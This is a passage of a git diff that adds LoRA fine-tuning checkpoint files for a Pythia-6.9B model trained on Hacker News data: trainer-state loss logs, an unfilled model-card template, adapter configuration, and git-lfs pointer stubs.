b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..4c07891acf544d74de67cb8067b7f887cd24eb1b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/trainer_state.json @@ -0,0 +1,183 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.3333333333333333, + "eval_steps": 10, + "global_step": 100, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.6386071986176e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..f38b0d8ce7810f8b7089d6cd1b9ae5c4682ee668 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9f319698b9f11cd357d3d679cef6a488a5ab1dc5754620ec4523b06c99e442b3 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..aff4afa8be2e4c86f4ee7e77825693d612d8ee1d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fdf3b251b2e59691c3c74907b712911722d63619bde7e5772a74bff04f668536 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..e8b03e39b0cf81b4b723b9421b9fca8f87c7b414 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:319884e2d6c1fad0795ced8add37e8073910c77073120da512a5e6a1f6208d62 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..24dce4e18218617e13af9f93046f397a711717c2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fe938637817d41932e7175fe8d9bcdaa1f1383328b73e4b56a4e373476a295ba +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..7bddfa17a2f09aee6d5cc936df5640d103795d25 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/trainer_state.json @@ -0,0 +1,198 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.4666666666666668, + "eval_steps": 10, + "global_step": 110, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.80246791847936e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..447506e7febceb6e4f01cc47cded1b0a8671da68 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3d718ca79938f6a63534dcf1a28889882fd96f77de6ca81a1585279d3bcd4d1d +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b39647c24e957615b8f0b354a4c362216426b1c0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bc76f58d2e38d2f995dc56760225280276e967dd7d9a82b8091fa8157ffe0ff9 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..71b7a5227226dcaeadffec096acbc7df0f632989 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3500ac793bd5f15c49da717801f854f9815260499ab4bc16b8f3a1ca9c82dfdf +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9eb62bb8ba22966a1e254979e1d2479886d174dd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:145815d6a6480fb85323e9a0f9a98f3e8faa57003487fcac0be85abbf27b4575 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..5bc89a91b195e1675767bd8a56a3165c70f92270 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/trainer_state.json @@ -0,0 +1,213 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.6, + "eval_steps": 10, + "global_step": 120, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + 